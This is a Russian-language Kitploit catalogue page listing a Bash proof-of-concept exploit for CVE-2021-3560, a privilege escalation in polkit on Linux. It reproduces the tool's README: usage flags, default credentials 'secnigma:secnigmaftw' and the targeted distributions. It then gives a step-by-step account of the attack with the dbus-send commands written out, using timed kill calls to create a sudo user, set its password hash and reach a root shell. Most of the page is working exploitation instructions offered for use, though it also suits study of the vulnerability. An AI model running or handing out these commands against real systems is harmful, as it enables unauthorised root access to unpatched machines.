Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-3560-Polkit-Privilege-Esclation — Автоматизированный Bash PoC для CVE-2021-3560 повышения привилегий polkit. Эксплуатирует атаку по времени на dbus для внедрения пользователя sudo и получения root-оболочки на уязвимых дистрибутивах Linux. | Kitploit
Инструменты/GitHubGitHub/secnigma/cve-2021-3560-polkit-privilege-esclation
Повышение привилегийАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеАутентификация
GitHubsecnigma/cve-2021-3560-polkit-privilege-esclation

CVE-2021-3560-Polkit-Privilege-Esclation

Автоматизированный Bash PoC для CVE-2021-3560 повышения привилегий polkit. Эксплуатирует атаку по времени на dbus для внедрения пользователя sudo и получения root-оболочки на уязвимых дистрибутивах Linux.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
124513 лет назадПроверено Kitploit

CVE-2021-3560-Polkit-Privilege-Esclation PoC

Оригинальное исследование Кевина Бэкхауса (Kevin Backhouse)

Это просто Bash PoC скрипт, который автоматизирует шаги эксплуатации, описанные в блоге Кевина Бэкхауса. Прочитайте его статью об этой уязвимости: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

Использование

root@kitploit:~
ИСПОЛЬЗОВАНИЕ:
     ./poc.sh
     -h --help
     -u=Введите имя пользователя для вставки (ОПЦИОНАЛЬНО)
     -p=Введите пароль для вставки (ОПЦИОНАЛЬНО)
     -f=y, Чтобы пропустить проверку уязвимости и принудительно выполнить эксплуатацию. (ОПЦИОНАЛЬНО)
     -t=Введите собственное время задержки вместо автоматического определения (ОПЦИОНАЛЬНО)
     Формат ввода времени: '-t=.004' или '-t=0.004', если вы хотите установить время задержки 0.004 мс
Примечание:
Знак равенства (=) после указания опции обязателен.
Если вы не укажете опции, скрипт автоматически определит возможное время и
попытается вставить нового пользователя, используя это время.
Учётные данные по умолчанию: 'secnigma:secnigmaftw'
Если эксплойт выполнен успешно, вы можете войти, используя 'su - secnigma',
и получить оболочку bash с правами root с помощью 'sudo bash'

На что обратить внимание:

  • Этот эксплойт работает только на дистрибутивах, где установлены accountsservice и gnome-control-center, и должна быть версия polkit 0.113 (или новее) ИЛИ 0-105-26 (форк Debian от polkit).
  • Эксплойт был протестирован на Ubuntu 20.04 с polkit версии 0-105-26 (форк Debian от polkit) и Centos 8 с polkit версии 0.115. Если вы уверены, что ваша цель уязвима, но функция проверки эксплойта не срабатывает, используйте флаг -f=y, чтобы пропустить все проверки и принудительно запустить эксплойт.
  • Уязвимыми оказались такие дистрибутивы, как RHEL 8, Fedora 21, Debian testing ("bullseye") и Ubuntu 20.04.

Как работает эксплойт?

Подробное объяснение и PoC для ручной эксплуатации приведены в блоге исследователя.

Краткое описание этого эксплойта приведено ниже:

  • Эта атака требует точного времени, и нам нужно войти через SSH (или другую сессию командной строки, где запуск графических приложений невозможен).
  • Атакующий может воспользоваться этой уязвимостью, отправив сообщение dbus для запуска polkit, но внезапно закрыв запрос, пока polkit обрабатывает его. Затем атакующий отправляет второй запрос с уникальным идентификатором шины предыдущего запроса, чтобы выполнить запрос с UID 0, то есть от имени root.
  • Эта уязвимость существует в polkit, потому что он обрабатывает UID соединения с идентификатором шины, который больше не существует, как запрос от UID 0. Это означает, что если мы сможем правильно рассчитать время атаки и завершить наш первый запрос в нужный момент, то мы сможем отправить второй запрос с привилегиями UID 0, то есть root.
  • Время для завершения соединения рассчитывается как время, необходимое для отправки dbus-сообщения, делённое на 2. Подробно объяснено здесь.

Что на самом деле делает этот скрипт?

Как я уже говорил, это всего лишь bash-скрипт, автоматизирующий PoC Кевина Бэкхауса. Основные команды те же; я просто автоматизировал некоторые начальные шаги (например, определение правильного времени, сканирование на уязвимость, вставку пользовательских учётных данных, вывод цветов и т.д.).

Если этот скрипт запущен без параметров, то его поведение по умолчанию следующее:

  • Проверка типа дистрибутива. [С использованием файла /etc/os-release.]
  • Проверка установки accountservice и gnome-control-center. [В rhel/centos/fedora используется rpm -qa, а в дистрибутивах debian/ubuntu — dpkg -l.]
  • Если установки найдены, скрипт проверяет версию polkit. [0.113 (или новее) для rhel.centos,fedora и 0-105-26 для Debian/Ubuntu]
  • Если версия polkit признана уязвимой, скрипт начинает эксплуатацию.
  • Сначала скрипт определяет время, необходимое для отправки запроса с помощью debus-send, выполняя bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null
Скачать инструмент
  • Список совместимых дистрибутивов можно найти в блоге Кевина.
  • Этот скрипт добавляет нового пользователя в группу sudo. Если эксплойт сработал, мы можем войти в учётную запись с помощью su - <имя_пользователя> и пароля, переданного скрипту, а затем ввести sudo bash, чтобы получить root-оболочку!
  • Поскольку эта атака зависит от точного времени, ДЛЯ РАБОТЫ ЭКСПЛОЙТА ОБЫЧНО ТРЕБУЕТСЯ НЕСКОЛЬКО ПОПЫТОК.
  • ПРЕДУПРЕЖДЕНИЕ: НЕ ЗАПУСКАЙТЕ ЭТОТ СКРИПТ В ГРАФИЧЕСКОМ СЕАНСЕ ВХОДА!
  • Если этот скрипт запущен в среде графического входа, цикл будет постоянно вызывать всплывающее окно аутентификации polkit. Поэтому запускайте эксплойт только внутри SSH/NC оболочки.
  • Если это всё же произошло, нажмите клавишу Esc, чтобы закрыть запрос аутентификации, и Ctrl+C, чтобы быстро завершить скрипт.
  • Затем время на завершение запроса ($t) вычисляется как время, необходимое для запроса, делённое на 2. ($t=время-необходимое-для-запроса/2) [Вычисляется с помощью awk]
  • После вычисления времени ($t) запрос на вставку $username secnigma на цель повторяется 20 раз. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $!
  • Если вставка пользователя прошла успешно [определяется с помощью id secnigma], то генерируется хэш пароля [с помощью bash openssl passwd -5 `echo -n $password` ]. ($password=secnigmaftw)
  • Затем команда вставки хэша пароля выполняется 20 раз. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!